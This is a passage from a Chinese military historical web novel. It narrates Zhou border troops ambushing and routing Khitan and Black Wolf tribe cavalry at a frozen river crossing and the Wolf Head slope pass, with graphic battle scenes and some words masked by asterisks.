“杀!”随着喊杀声,赵平、周扬各自率领三百飞虎卫铁骑,从雪墙两侧的河面飞驰而来。
原来,雪墙也并非胡乱堆积,**难以从外面进来。
可是出去却不难,雪墙内部后方,有的地方有缓坡。趁着敌军混乱的时候,赵平和周扬各自带队,越过雪墙,集结队伍,向敌人冲锋。
幸好,奔驰在这浅滩区域,不担心冰碎马落。
冰面虽然滑,但战马都钉了特制的防滑蹄铁。飞虎卫冲锋的速度比**更快,势头更猛。
“该死!”隆巴顿见追兵突然杀出来,脸色变得难看。只能下令后队变前队,边打边向草原撤。
可军心已经散了,阵型也乱了,哪挡得住养精蓄锐的飞虎卫?
两股骑兵像利刃一样切入敌阵,斜着交错凿穿队伍,契丹骑兵顿时人仰马翻,鲜血很快染红了冰面,接着冻结成了触目惊心的红冰。
在死亡的威胁下,契丹兵彻底失控,哪管命令?纷纷往北逃命,自相践踏的人不计其数。
甲胄碰撞的脆响、战马的悲鸣,绝望的嘶吼交织。
秦大壮带人爬上雪墙,用长矛或弓箭补刀**。顺便从后面袭扰,配合着两翼己方骑兵收割。
这个时候步兵虽然能开弓,但箭术实非擅长。反观飞虎卫三百弓手箭术精湛,**惨叫连连。
“过瘾!真过瘾呐!”赵平杀得兴起,放声长啸。
周扬沉默寡言,疯狂**着**,浑身浴血。将领身先士卒,身后士兵人人奋勇,拼命杀敌。
一番冲杀下来,契丹骑兵早就被冲散,面对左右夹击,后面还有弓箭手,根本无还手之力。
“杀,杀**!”
秦大将让人吹响进攻号角,上千人杀声四起。
后方,周军阵前的号角如惊雷炸响。
本就军心涣散
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的契丹兵瞬间崩溃,顿时作鸟兽散。
兵败如山倒!
千夫长隆巴顿挥刀砍倒两个溃兵,却拦不住溃败的洪流,只得带着一百多个残兵,往北岸拼命突围。
冰冷的雪粒打在脸上生疼,他喉间腥甜翻涌。如今只能寄望于营地的留守兵力,再图后撤之计。
可当熟悉的营垒轮廓出现在视野中,隆巴顿的心猛地沉了下去。本来有百多人安营扎寨,此刻一片寂静,唯有旌旗在寒风中簌簌发抖。
“不好!”隆巴顿心头刚窜上不祥的预感。
“嗡——”
那催人命的弓弦震颤声已划破寂静!帐篷后突然飞出密密麻麻的箭矢,黑沉沉的箭雨袭来。
残兵们本就惊魂未定,格挡、躲闪间纷纷中箭,二十多人**,多匹战马痛嘶着人立而起,将骑手甩落在雪地中,鲜血瞬间染红了雪地。
“哈哈哈!契丹杂碎,本将在这儿等你们很久了!”
粗犷的长笑震得积雪簌簌掉落,秦猛骑着神骏的踏雪乌骓,铁枪斜指长空,从营门内疾驰而出,身后一百多精骑甲胄鲜明,扬起漫天雪雾。
原来,他早在战前便带着精锐从上游浅滩悄悄渡河,一举端了这座营寨,专等败军自投罗网。
“卑鄙的周狗……秦…秦猛?就是你害了九郎君?”
隆巴顿打量,秦猛片刻,双目赤红,血丝爬满眼白,手中弯刀直指秦猛,汉语嘶吼中满是怨毒。
他认出了这张传遍军营的画像,正是此人杀了部落酋长之子。此次大军入境大周,复仇者对象。
老子从未见过此人?这说明果然是有人在背后搞鬼。
秦猛眼底寒光一闪:“看来,你知道不少秘密。”
“杀!”他带队扑向隆巴顿等残兵。
与此同时,**身后突然传来震耳欲聋的蹄声。
王善亲率的援军如猛虎下山,从侧后方席卷而来,与秦猛的人马形成合围之势,将残兵死死困在中央。
“**!”隆巴顿状若疯魔,挥刀直扑秦猛,可连日苦战早已耗尽他的力气,刀锋虚浮无力。
秦猛冷笑一声,铁枪如灵蛇出洞,格挡、点刺、挑斩,三招之间,便听“当啷”一声,隆巴顿的双臂发麻,手中的弯刀被挑飞出去。
秦猛手腕一翻,枪杆重重砸在他肩头,隆巴顿惨叫一声,被生生挑**下,亲兵立刻上前将其捆缚。
主将被俘,残兵彻底丧失斗志,或跪地请降,或四散奔逃。
少数人钻进风雪深处,侥幸逃脱,其余尽数被歼。
燧堡之上,守军早已看得热血沸腾,当看到秦猛押着隆巴顿、赶着马群凯旋时,压抑已久的欢呼瞬间爆发,声浪盖过寒风,直冲云霄。
“必胜!”
“必胜!”风雪依旧,空气中的血腥与硝烟却挡不住胜利的暖意,在苍茫雪原上久久回荡。
第164章 北狼口伏击
雪停了,寒风却更甚。
沉闷的蹄声渐近,风卷着雪沫扑打在每一个将士的脸上,却扑不灭那一双双眼中跳动的战意。
“嘘——!”袁飞勒马立于狼头坡高处,目光如刀,缓缓扫过眼前这片天造地设的伏击战场。
正午时分,伏击队伍如期抵达北狼口。
眼前景象,果然与草图上绘制的分毫不差。
以拒马河贼界,南岸在此处陡然隆起数十米。相对北岸,山势连绵,形成一道天然屏障。
草原**若想渡河南下,仅有三处渡口可供选择。
其中最为平坦宽阔、最适宜大队骑兵通行的,便是这狼头坡。
两座山丘状如狼耳,夹峙着一条深沟,整体形似一颗狰狞的狼头。中间那条十来丈宽的通道。
“刘铁柱!”袁飞声如寒铁。
三方将领中,袁飞军职不是最高,却最熟悉地形。且秦猛明确表示,此次伏击由袁飞主导。
“末将在!”刘铁柱这个魁梧的虬髯悍将踏雪而出,声若洪钟。
“命你率本部人马,伏于右侧‘狼耳’坡后!多备**滚石,待敌军过大半时,听我号令。
先以滚木礌石封堵其退路,再以箭雨覆盖,务必让**进来,就出不去!”
“得令!”刘铁柱抱拳领命,转身便吼道:“弓箭队跟老子上!把咱们的真本事都拿出来。”
“李山!”
“末将在!”李山这敦实汉子应声上前。
“你的刀盾兵,藏于坡后林中!没有号令,便是天塌下来,也不许动!待前方箭雨响起,**阵脚大乱之时,你给我像一把尖刀,直插敌阵腰眼,将他们拦腰斩断!”
“得令!末将定让**有来无回!”
袁飞微微颔首,目光转向身旁一位沉稳的李雄:“李副将,烦请你率本部精锐,游弋于狼头坡外围。
你的担子最重,需同时兼顾另外两处较小渡口,以为策应。
若**主力果真由此而来,你部便是我军的铁壁合围;若其分兵他渡,你部便要如疾风般驰援。
务求全歼,不放一人漏网!”
“末将明白!定不辱命!”李副将抱拳领命,眼神锐利。
军令既下,狼头坡瞬间沸腾起来。
将士们顶着刺骨寒风,挥动工兵铲,在雪地中挖掘掩体。
有人仔细地将削尖的木桩埋设于缓坡雪层之下,伪装成天然雪地;有人合力将沉重的滚木礌石运至坡顶预设位置,用积雪覆盖得严实实。
刘铁柱亲自检查每一处**阵地,呵斥着:“坑再挖深半尺!你想让**的箭把你钉死在里头吗?”
李山则带着刀盾手在林缘反复演练出击路线,低吼道:“记住!出击要狠,以拦截为主。阵型要紧!像狼群一样,一口咬住就别松口!”
与此同时,袁飞派出数队精锐探马,如同离弦之箭,悄无声息地越过界河,没入茫茫雪原。
他们的使命极为关键:
尽快与接应队伍会合。精确掌握黑狼部落那八百精锐的最新动向。他们将在雪原各处留下特定暗号,警示吴二等人,为其指引方向……
苍茫草原,小雪依旧窸窸窣窣地下着。
黑狼部落的牛皮大帐被暮色浸得发沉,篝火在中央跳跃,将酋长德克萨黝黑的脸膛映得忽明忽暗。
他指尖叩击着案上的兽皮地图,沉声喝问:
“明日奇袭,谁愿为先锋?”
话音刚落,帐内却反常地静了下去。
唯有炉火啃噬木柴的噼啪声,在这片寂静里格外清晰,像极了众人按捺在胸腔里的心跳。
各部头领垂首捻着腰间的兽牙配饰,目光在彼此脸上飞快扫过。
——谁都清楚,此次不仅rujing劫掠,还要攻打边寨,先锋是荣耀,更是九死一生的赌局。
“我去!”
突然,一道粗嘎的嗓音冲破寂静,如同巨石砸入深潭。
左首的红脸头领猛地起身,腰间的佩饰随动作叮当作响,“我部子弟皆是狼崽,凭一口刀就能撕开敌营!”
他话音未落,右首立刻有人拍案而起:“赫德雷,论勇猛你不及我,先锋之位该归我部!”
“先锋归我,我帐下勇士多。”
瞬间,争执声瞬间点燃了帐内的空气。
有人拍着胸脯细数战功,有人攥着兵器赌咒立誓,连部落长者都忍不住出声举荐自家后辈。
德克萨坐在主位,看着眼前吵嚷却热血的景象。非但不生气,嘴角反而勾起一抹隐忍的笑意。
——这沉寂后的爆发,才是黑狼部落真正的狼性。
最终,德克萨酋长猛地一拍王座扶手,黄金权杖重重顿地:“秦猛此獠,屡次伤我族人性命,又欺压我们的朋友,着实可恨,此仇必报!”
“但此事非常效果,需要一个智勇双全之人带兵。”德克萨话题一转,环视众人,沉声唤道。
“穆托达!”
“父汗,儿臣在!”只见一名身材虽不显壮硕,但浑身透着精悍之气的年轻狼戎勇士应声出列。
他正是德克萨的三儿子穆托达,与其他崇尚纯粹武力的兄弟不同。
他自幼便对汉人文化颇有研究,熟读汉家兵
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书,是部落里少有的智勇双全之辈,深得德克萨喜爱。
“此次由你带队,明日出发,务必攻破铁血军寨!”
“儿臣领命!”
穆托达眼中闪过兴奋与野心的光芒。
这正是他建功立业、巩固地位的大好时机。
德克萨为了不落人口舌,又点了几个年轻的勇士,协助穆托达统兵,带领儿郎入境劫掠!
第二日,雪后初晴,刺骨的寒风似乎也缓和了些。
八百黑狼部精锐在天蒙蒙亮时便已集结完毕。
这些战士人人双马,装备精良,脸上涂着防冻的油脂,眼中闪烁着对战斗和掠夺的渴望。
穆托达一声令下,队伍如一股黑色的铁流,冲出营地,直奔拒马河方向。
吴二、陈石、赵虎三人也骑马随行,名为向导,实则也被置于穆托达的亲兵“保护”之下。
陈石和赵虎一左一右将吴二护在中间,既是保护,也暗含监视,以防这位关键人物中途反水。
所幸,吴二确是真心投靠。
沿途,他与穆托达攀谈,凭借三寸不烂之舌、常年与草原部落打交道的经验,极力奉承这位部落三公子。
“三公子不仅勇武过人,更深谙兵法,懂得审时度势,此番出兵,定能为部落建下不世之功。
将来老酋长百年之后,部落大位,非公子莫属啊!”吴二满脸谄笑,压低声,话语如同蜜糖。
穆托达虽有些头脑,但毕竟年轻,听着这般露骨的吹捧。
尤其是出自一位“见多识广”的汉商之口,虚荣心得到了极大满足,对吴二的态度也越发和善。
他甚至主动问起:“吴先生常年行走四方,见识广博,又是一表人才,不知是否已成家立业?”
吴二脸上笑容不变,眼底却瞬间闪过一丝刻骨的寒光,低头谦逊道:“家中清贫,奔波求生,尚未婚配。”
无人知晓,他便是边陲吴家村的幸存者之一。
那年契丹骑兵过境,全村几乎被屠,他年迈的父母和那位心仪已久、即将过门的姑娘,皆惨死于**刀下。
这些年,他时常梦见满身血污的双亲,从午夜惊醒。这份血海深仇,深埋心底,从未忘却。
与草原部落虚与委蛇做生意,每每夜深人静,良心都备受煎熬。
董袭正是洞察了他这份心思,才保证做完此趟差事,就给他大笔银钱,算是报了救命之恩。
在吴二心中,无论是契丹还是狼戎,皆是侵我河山、杀我同胞的鞑虏,曲中仇恨他分得清。
因为他大周人,是汉家儿郎!
第165章 血溅狼头坡(一)
队伍踏着积雪前行,吴二表面与穆托达谈笑风生,介绍着大周的风土人情,放松其警惕。陈石,赵虎各看,一边,留意着雪地上的痕迹。
终于,在接近北狼口的一处岔路口,他俩看到了几块看似随意堆放,实则有特定指向的石头。
——这是事先与接应人马约定的暗号,表明己方伏击圈已布置妥当,让他们伺机撤离。
陈石、赵虎交换了一个眼神,彼此心领神会。
当队伍抵达界河附近,北岸那如狼头般的地形清晰可见。
穆托达眺望对岸时,没来由地感到一阵心悸。他勒住马缰:“吴先生,前面就是北狼口了。
你对那铁血军寨的情况,了解多少?”
“略知一二。”吴二忙不迭点头,摆出全然配合的姿态:“三公子放心,这是刚升格的军寨。以前小堡只有数十戍卒,根本挡不住部落儿郎。”
“如此便好。”穆托达微微点头。
然而,狼戎队伍的行进速度却明显慢了下来。
穆托达骑在马上,眺望着对岸寂静的山峦,眉头微蹙,似在思索,迟迟没有下达渡河的命令。
“吴先生,”陈石拉了拉吴二的衣角,低声道。
“该引路了。”
吴二心领神会,知道这是让自己主动请缨,消除穆托达的疑虑。
他拍马上前,对穆托达拱手道:“三公子,前方地形复杂,为稳妥起见,不如让我带一小队人马先行探路,确认安全后,再发信号通知大队过河?”
穆托达正有此意,闻言点头:“好!有劳吴先生了。
我给你二十骑,务必仔细探查。”
吴二便带着二十名狼戎骑兵,率先踏上冰封的河面,朝着对岸的狼头坡小心翼翼地步步深入。
他心中既紧张又有种快意!
——计划,终于到了最关键的一步。
与此同时,在狼头坡伏击阵地上,袁飞、李山、刘铁柱等人已在此潜伏了近半天一夜。
当负责瞭望的哨兵压低声音传来“**来了”的消息时,所有埋伏的将士都精神为之一振。
但随即在军官们凌厉的目光和无声的手势命令下,迅速压下激动,将身体更好地隐藏在各种掩体之后,没人动弹,连呼吸都刻意放轻。
整个伏击圈死寂一片,只有寒风掠过枯枝的呜咽。
头顶的“狼耳”坡后,数百双冰冷的眼睛正注视着。弓已拉满,刀已出鞘,只等那一声令下。
他们透过掩体的缝隙,看到草原**有动作。吴二带着一小队狼戎骑兵谨慎地进入狼口通道。
他们四处张望,甚至用长矛戳刺可疑的雪堆。
袁飞屏住呼吸,手攥紧又松开,心中默念:“沉住气,沉住气……放过虾米,目标是大鱼。”
朔风卷着碎雪,掠过荒野,天地间一片苍茫。吴二裹紧了身上的皮袄,一行人仔细探查了通道,没有发现异常,也未发现任何伏兵迹象。
一名骑兵返回河边,向对岸发出了代表“安全”的嚎叫。
穆托达看到先锋小队顺利通过狼口通道并发出信号,心中那点疑虑终于散去大半。
他拔出弯刀,向前一指:“勇士们,渡河!目标,铁血军寨,让周人见识一下黑狼的利爪!”
“嗷呜——!”
八百狼戎骑兵发出兴奋的嚎叫,催动战马,轰然踏过冰面,涌向那条他们自以为的征服之路。
拒马河已彻底冰封,如一条银白色的巨**横卧在草原上。河面冰层厚达几尺,人马行走如履平地。
穆托达率领的八百骑兵如黑色潮水般涌过冰面。队伍顺利通过狼口通道,他心头安定下来。
他挥动弯刀,全军加速前进。
穆托达亲率主力踏入南岸,黑色的骑兵洪流如同被狼口吞噬,转眼已有六百余骑踏入通道。
由于人配双马,这已经是极限!
坡顶的袁飞紧攥令旗,指节因用力而发白。他死死盯着通道内的动静,直到看到穆托达的黄金头盔越过礌石预设线,终于低喝一声。
“时机到!”
猩红令旗猛然向下劈落!
刘铁柱在右翼坡顶看得真切,猛地挥动红旗。埋伏在两侧的士兵同时砍断绳索,数十根被积雪覆盖的巨型冰木礌石从坡顶轰然滚落。
这些冰木表面泼水成冰,棱角锋利,顺着陡坡不断滚动,加速冲下,瞬间将通道出口堵死。
这突如其来的变故,踏入甬道的狼戎骑兵顿时骚乱。
与此同时,吴二趁乱矮身扑倒,滚进预先观察好的雪坑。
他迅速将怀里的红布系在左臂——这是与己方约定的识别信号。
负责看着他的两名狼戎骑兵见吴二的异常举动,挥刀便砍,斜刺里突然冲出陈石与赵虎,短刀直取骑兵后腰,三两下便解决了看守。
三人借着马匹的遮挡,快速向左侧陡坡移动。
这一步发生的太快。
周围**还没有反应过来,三个人就跑远了。
再想追时,已经为时已晚!
“放箭!”袁飞长刀指天,声震四野。
第一波箭雨如同蝗虫过境,密密麻麻地从两侧坡顶倾泻而下。
这些箭矢并非随意发射,而是分为三重打击:
先是轻箭远射,覆盖敌军后队;
接着重箭破甲,直指中军精锐;
最后**点杀,专射军官与旗手。
“噗哧”声响成一片,箭矢穿透皮甲的声音如同撕裂布帛,中箭的狼戎骑兵惨叫着跌**下。
有的被箭矢贯穿咽喉,鲜血喷溅在洁白的雪地上;有的战马中箭受惊,将骑手甩下地面。
“啊——”凄厉
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的惨叫声响彻狼头坡!
不过十息之间,通道内已倒伏近百具尸体。
受伤者更是不计其数!
“有埋伏!”穆托达惊怒交加,弯刀劈飞迎面而来的箭矢,他惊觉中计,急令后撤。然而退路已被封死,梆硬的冻土上更成为天然死亡陷阱。
“放滚木礌石。”袁飞在左翼指挥,发动致命一击。
但见坡顶上,军卒们合力推动着滚木向下碾压。
这些滚木每根都有三四米长,一人合抱粗细。
从高处滚落时带着雷霆万钧之势。一名狼戎百夫长试图举盾格挡,滚木直接将其连人带盾砸成肉泥。
更有甚者,一种特制的“夜叉檑”被推滚下来。
——这是用湿榆木制成的巨型滚木,就是条粗大的原木,表面布满五寸长的铁刺,重达数百斤。
它沿着通道碾压而过,骑兵也挡不住这种冲击。所经之处血肉横飞,留下一条鲜红的血路。
礌石同样致命。守军将重达数十斤的巨石推下,这些石头在空中翻滚,带着恐怖的呼啸声砸向敌群。
一个狼戎骑兵被礌石正中头顶,头盔瞬间凹陷,脑浆迸裂。
另一块礌石连续撞翻三匹战马,才在尸堆中停下。
沉重的滚木,礌石轰隆隆砸下,退路瞬间被堵成一道绝望的石墙,将狼戎队伍斩成两段。
战马受惊狂嘶着人立而起,拥挤的通道内顿时乱作一团。
“该死,不要乱,向两侧坡上射箭。”
穆托达声嘶力竭地吼着,试图聚拢人手展开反击。可局面混乱不堪,嘈杂声将他的声音淹没。
左侧林缘突然杀声震天,伏兵杀出。
“杀!”李山带领本部人马杀来,狠狠撞入敌阵。
骑兵无法冲锋,那就是待宰羔羊!
百多名刀盾手如猛虎出林,盾阵撞开混乱的骑兵,长刀顺着盾缝精准刺入,捅穿**,或将其拽下马,瞬间将通道内的敌军拦腰斩断。
狼戎骑兵的溃败在顷刻间爆发。
已通过通道的六百余骑见后路被断,刀盾兵阻拦,将整个队伍一分为二,顿时慌了阵脚。
他们疯狂催动战马冲撞,却被两侧陡坡与密集的箭雨压缩在狭窄空间,不少人直接被挤**下,遭乱蹄践踏。
这些骑兵被堵在通道内成了活靶子。
刘铁柱的**手换箭如飞,箭雨一波接一波覆盖,士兵们要么中箭身亡,要么被滚石砸断筋骨,鲜血顺着雪缝流淌,很快在地面冻成暗红的冰。
后队两百来个狼戎骑兵尚未进入通道的骑兵见势不妙,有的率队欲救援,有的则拨马便往草原逃窜。
就在此时,远处突然扬起漫天雪尘,李雄率精锐骑兵如疾风般杀至,马蹄踏碎冻土层,长刀翻飞间,欲将后路**尽数截杀在渡口围杀!
第166章 血溅狼头坡(二)
北狼口,杀声震天!
数百狼戎骑兵被死死堵在十来丈宽的狭窄通道内。人喊马嘶,乱作一团。
后路已被滚木礌石彻底封死,李山亲率刀盾阵从前方步步紧逼,挤压的**骑兵根本冲不起来。
两侧山坡上,箭矢如飞蝗般倾泻而下,滚木礌石带着雷霆之势不断砸落,狼戎兵如被割倒的麦子般成片倒下,鲜血瞬间染红了雪地。
“杀出去!冲开一条血路!”穆托达眼见部队陷入绝境,歇斯底里地怒吼,拼命聚拢身边亲卫,试图结成冲锋阵型,不顾一切地撞向李山的盾阵。
只要撕开缺口,就能离开这狼头坡!
战马在慢跑中积累起冲力,撞击的力量极为骇人。
前排的刀盾手被撞得倒飞出去,盾牌碎裂声刺耳。
所幸陷阵营军卒配合默契,周边同袍立刻补位,死死堵住了缺口,才没让这股困兽撕开防线。
李山身先士卒,大刀已砍翻数名敌兵,浑身浴血,仍不断怒吼着鼓舞士气:“顶住!给老子顶住!让**见识见识咱们刀盾队的厉害!”
就在此时,因队伍来不及补位,一处防线即将被穆托达率队冲破。
李山见状,目眦欲裂,竟不顾一切地合身扑上,用肩甲猛撞敌骑马头,随即在地上与坠马的穆托达翻滚缠斗,大刀格挡弯刀,火星四溅,硬生生将这黑狼部猛将逼退,稳住了阵脚。
“杀,陷阵之之志,有死无生!”刀盾兵齐声呐喊着。
盾阵再次稳步向前推进。
后排弓箭手得以从容拉弓,密集的箭雨越过盾阵,落入毫无遮拦的**群中,引发阵阵惨嚎。
穆托达见突围再次受挫,越发疯狂地组织冲锋。
与此同时,部落另一勇士赫德雷也率部从后方试图增援,两人咆哮着,妄图撕碎周军防线。
“这是刀盾队的首战,给老子顶住!”李山抹了把脸上的血污,恶狠狠地盯着如困兽般的**。
坡顶的袁飞见局势胶着,深知必须打破敌军这股锐气。
他亲率二十余亲兵,如一把尖刀从侧坡俯冲而下,直插敌阵腰眼!
战马奔腾,雪沫飞溅,瞬间将狼戎兵的阵型冲得七零八落。
“哈哈哈,**狗,此刻想走?门都没有!”
袁飞狂笑着,拍马舞枪,直取穆托达。
穆托达本就怒极,闻言更是暴跳如雷,彻底撕下温文尔雅的面具,回归草原狼的凶悍本性。
“周狗,给我**!”
他拍马迎上,两人刀来枪往,战作一团。
穆托达刀法诡异,融合了草原劈砍技与某种阴柔路数;袁飞**势大力沉,如蛟龙出海。
双方你来我往,斗了七八个回合。
冲刺中途,袁飞骤然提缰飞跃,在半空中,枪杆一抖,巧妙地打中穆托达的手腕,磕飞弯刀。
战马落地、转向,袁飞出枪,枪尖直戳穆托达咽喉!
穆托达眼露骇然,来不及躲避。
“将军留活口!”就在这时,已在出口前方土坡就位的吴二突然高喊:“这是黑狼部落酋长的儿子穆托达,大有价值!”
袁飞闻言,枪势微微一滞。
穆托达趁此千钧一发之际,猛地抽出腰间备用短刀,狠辣地刺向袁飞小腹!
眼看就要得手,侧翼观战的陈石反应极快,奋力掷出手中短矛。
“噗嗤”一声,短矛精准穿透穆托达肩胛骨!
穆托达惨叫一声,跌**背,瞬间被周军士兵按倒在地。
“叛徒!我要杀了你!”
穆托达被按在雪地里,角度恰好能看到坡上的吴二,想到对方之前的谄媚引导,顿时明白了一切,气得双眼发黑,剧烈挣扎,破口大骂。
吴二闻言,冷冷俯视着他:“哼,我本是汉人,你是鞑虏,自古仇敌。是你们太过狂妄自大,今日中伏被抓,怪你无能,怨不得别人!”
正当穆托达被俘之际,黑狼部落的猛将赫德雷如疯虎出笼,挥舞着沉重的狼牙棒,连续砸翻数名周军士兵,悍勇无比地冲向山坡,试图打开缺口。
此人身材魁梧,力大无穷,寻常兵士难以近身。
“**休狂!”李山见状,丢掉环首刀,换上一柄朴刀,踏步迎上。两人兵器轰然相撞,火花四溅!
赫德雷的狼牙棒势大力沉,每一击都带着风雷之声;李山膂力过人,刀法沉稳,更擅技巧。
战至十合,李山双臂被震得发麻,心知不可力敌,便卖了个破绽,踉跄后退,中门大开。
赫德雷求胜心切,一棒砸空,重心顿时前倾。李山抓住这电光石火的瞬间,侧身闪避,朴刀斜劈而下,竟将这猛将连人带甲斩为两段!
热血喷涌,溅了李山一身。
几乎同时,右翼坡上的刘铁柱遭遇了狼戎神射手哲别的冷箭偷袭。
哲别连发三箭,箭箭致命,刘铁柱挥刀格开两箭,第三箭擦着脸颊掠过,带出一道血痕。
正当哲别得意地再次搭箭,刘铁柱想到刚痊愈差点又伤了,怒骂着“**!”,反手拔出箭囊尚存的箭矢,臂膀抡圆,用尽全力掷回。
这一掷竟比**射出还要迅疾,直接穿透哲别的咽喉,将其毙命!
战场另一端,最惊心动魄的单挑在李雄与狼戎勇士伯恩之间展开。
伯恩是黑狼部落祭祀长老之孙,人高马大,勇猛非凡。
他几次试图救援主力都被箭雨射回,见大势已去,遂率亲兵突围,正遇李雄铁骑,双方交战。
李雄**如龙,连挑多名敌骑,直取伯恩。伯恩弯刀划出寒光,他师从汉人武师,刀法中融入剑术精髓,诡异难测。
李雄戎马半生,沉着应战,枪尖始终锁定对方要害。
战至十几个回合,伯恩虚晃一刀,诱李雄追击,突然胯下坐骑回转,一个回马刀削向李雄脖颈。
千钧一发之际,李雄猛地仰身马上,**由下至上毒蛇般刺出,正中伯恩坐骑!
战马悲鸣倒地,伯恩被摔出丈外,虽
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被亲兵拼死救起,但主将被打**下,突围之势已破。
此刻,按照袁飞事先部署,两百多磐石营骑兵从狼头坡外围完成合围,如铁壁般冲杀而来。
其中两名小将魏通、魏稟尤为勇猛,借助马速,一杆**连挑敌骑,一柄大刀翻飞**,如入无人之境。
他俩是南河知寨官魏文德次子和侄子,这次伏击战是个机会,所以把自家后辈派出来历练。
“杀!一个不留!”李雄趁势率队猛攻。
游弋在外的磐石营游骑亦纷纷返回,并不急于近战,而是在外围精准射杀溃散的**。
几名****一名落单的磐石营骑兵,眼看就要得手,却被不知何处飞来的冷箭射倒,被那骑兵趁机反杀。
这种昔日狼戎惯用的战术。
今日被周军以其人之道还治其人之身。
北狼口通道内,前有刀盾兵挤压,头顶箭雨滚木不断,后退无路,在周军步步紧逼的立体打击下,狼戎骑兵死伤惨重,军心彻底崩溃。
部分狼戎士兵试图向两侧山坡攀爬,却被守军用巨大的“狼牙拍”当头砸下——这种布满铁钉的拍板从绞车放下,对攀爬者造成毁灭打击。
其余人挤在通道中央,成了**手的活靶子。
半个时辰后,通道内战斗率先结束。
“快,杀出通道,支援李副将!”袁飞大声下令。李山和刘铁柱不顾疲惫,立刻指挥士兵搬开部分障碍,从后方突击溃散的**后队。
两面夹击之下,残敌迅速瓦解。
残敌数十骑溃散北逃。袁飞早有安排,陈石,赵虎两人带队,与接应队伍会合,分多队堵截。
袁飞,李山、刘铁柱,李雄各率骑兵追击,沿途绞杀散兵。
黄昏时分,战斗渐息。
河道上浮尸蔽冰,雪原赤红。
狼头坡通道内尸积如山,破损的兵器和战马尸体与冰雪冻结在一起。
伯恩重伤被擒,黑狼部落遭遇前所未有的惨败。
刘铁柱提着染血的头盔,奔来向袁飞汇报:“将军,除了那几个贼首,八百余**全交代在这儿了!”
“做得漂亮!速速打扫战场,清点缴获!”袁飞立马坡顶,望着眼前惨烈景象,压下兴奋,沉声命令。
吴二默默拭去刀上血迹,此战他也手刃了两名**。他望向北方故乡,心中默念:“爹,娘,小翠……今日,先替你们讨还一笔血债。”
“儿子是汉人,没有数典忘祖!”
附近,被缚于马背的穆托达吐出嘴里的布团,嘶声诅咒:“呜呜……周人诡计……我父汗必血洗此界!”
李山闻言,冷笑着扬起战刀:“呸,就你们这些货色也敢来?这狼头坡,就是尔等的葬狼之地!”
说罢,随手从一具**尸体上扯下布条,重新塞住了穆托达的嘴。呜咽声被寒风吹散。
此战,终以周军大获全胜告终。
随后众将亲自参与打扫战场,为战利品多而发愁……
第167章 张富贵袭营
十二月初,入夜。
寒风卷着雪沫,扑打在契丹主力大营的牛皮帐篷上,发出沉闷的声响。
中军大帐内,炭火盆烧得正旺,映照着酋帅萧铁鹰那张四十许、沉稳如磐石的脸。
他身披仿制周式鳞甲,腰间草原弯刀却寒光凛冽,案头摊开的不是羊皮地图,竟是一卷汉家兵书。
萧铁鹰,是伏弗郁部酋长第三子,更是王庭册封、手握万军的实权酋帅。
迥异于同族的鲁莽,他深研汉学兵法,素有谋略,早已是草原王庭中威名赫赫的善战之将。
几年来,攻破大周多处戍堡,是草原儿郎敬畏的对象。也是秦某人嗤之以鼻的拉胯玩意儿。
帐内烛火摇曳,将萧铁鹰挺拔的身影拉得很长。他正捧着一本翻卷了页脚的汉家兵书研读。
帐外突然传来凌乱的脚步声、粗重的喘息,以及哭嚎声说要见“酋帅”,随即是卫兵的呵斥。
“让他进来。”萧铁鹰闻言轻皱眉,声音平稳,目光却已从书页上移开,落在帐门口。
很快,帐帘被猛地掀开,一股寒气裹着几人滚了进来。
他们是千夫长隆巴顿的残兵,侥幸逃脱追杀。马没了,一路往北逃,此刻才与后方主力会合。
几人衣甲破碎,满是混着血污的泥泞,浑身冻得青紫,年轻的脸上写满了劫后余生的惊恐。连滚带爬地跪在地上,屁股撅得比天高。
“酋…酋帅……全完了!”
为首的溃兵肩头还插着半截箭矢,血污糊住了半边脸。他扑跪在毡毯上,喉咙里挤出破碎的哭嚎:“酋帅!千夫长……隆巴顿千夫长他……完了!”
“嗯?本帅不是说过不得擅自出战吗?”
萧铁鹰眉心骤然拧紧,眼神变得锐利,握着兵书的手指微微用力。“说清楚,怎么回事。”
“是…是,隆巴顿千夫长他……中了周狗的诡计!”
“他们当着我们的面挑衅,砍了大当户阿巴泰大人的脑袋,及二十多个儿郎,衣服扒得精光……”
“什么?他们敢如此?”边上几个头领又惊又怒。
“让他继续说。”萧铁鹰脸色阴沉,摆手制止众人。
那为首的溃兵断断续续地叙述着狼头坡的惨状。
他们如何面对周军的挑衅,又如何看到同族儿郎扒光衣服砍了头,直至按捺不住出兵。被诱入狭窄通道,如何被密如飞蝗的箭雨覆盖……
“呜呜呜……,酋帅,完了!全完了啊!”
那溃兵嗓子早喊哑了,哭声里全是破音,“队伍一乱,周军骑兵就跟疯了似的分两路冲过来。
隆巴顿大人带着我们冲去了北岸,可、可营地早被人端了啊!”
他猛地捶了下地面,眼泪混着泥水往下淌,“那周将的**跟毒蛇一样,一下就把大人挑下马,活捉了!他们分散绞杀,追杀数里地。
就剩我们几个……趴在雪堆里装死,凭着熟地形才爬出来报信啊!”
另外几个溃兵也是红了眼眶,声音哽咽的附和。
萧铁鹰静静地听着,指尖无意识地叩击着案桌,越听心头越紧。
他熟读汉家兵书,深知此役败得绝非偶然。
周军统帅对地形的利用、时机的把握、以及各种兵器的配合,甚至草原儿郎的秉性了然于胸。
分明是深谙“怒而挠之”的兵法精髓。
不动则已,一动就是绝杀!绝非以往那些只知龟缩防守的边将可比。
“该死,这群周狗当真该死。”几个头领在边上怒目而视,待几人把经过说完,人**骂。
“好了!”萧铁鹰骤然起身,声音冷峻如铁:“通知各个当户,自即刻起,严禁各部擅自出战,违令者斩!
夜间哨探加倍,营内巡逻不息,游骑警戒范围向外延伸五里。尤其要提防周军……过河偷袭。”
“周军过…过河偷袭?”
帐下几名部落头人闻言,脸上都露出难以置信的神色。
历来只有他们草原铁骑,南下入境劫掠的份儿,那些缩在堡垒里的周军怎敢主动渡河来攻?
这简直是闻所未闻!
但看着萧铁鹰锐利如鹰的眼神和地上狼狈不堪的残兵,这些往常嚣张的头人,无人敢出言反驳。
这位酋帅长子凭借汉家兵法打赢过数次硬仗,吞并许多小部落,早已用能力折服部落儿郎。
将领们应声退下,几个溃兵非但无过,反而有功,赵铁鹰让他们下去歇息,帐内重归寂静。
萧铁鹰重新拿起兵书,却再无心思研读,指尖的墨迹仿佛化作了拒马河南岸边陲的血水。
他踱步到大帐帘门处,望向帐外漆黑的南方,喃喃自语:“秦猛……你究竟是个什么样的对手?”
他感到,此次真正遇到了劲敌。
而且有种强烈的预感,北方的草原将不会平静。
萧铁鹰得知情报后做出判断,反应不可谓不快。
可终究慢了半拍,有人速度更快!
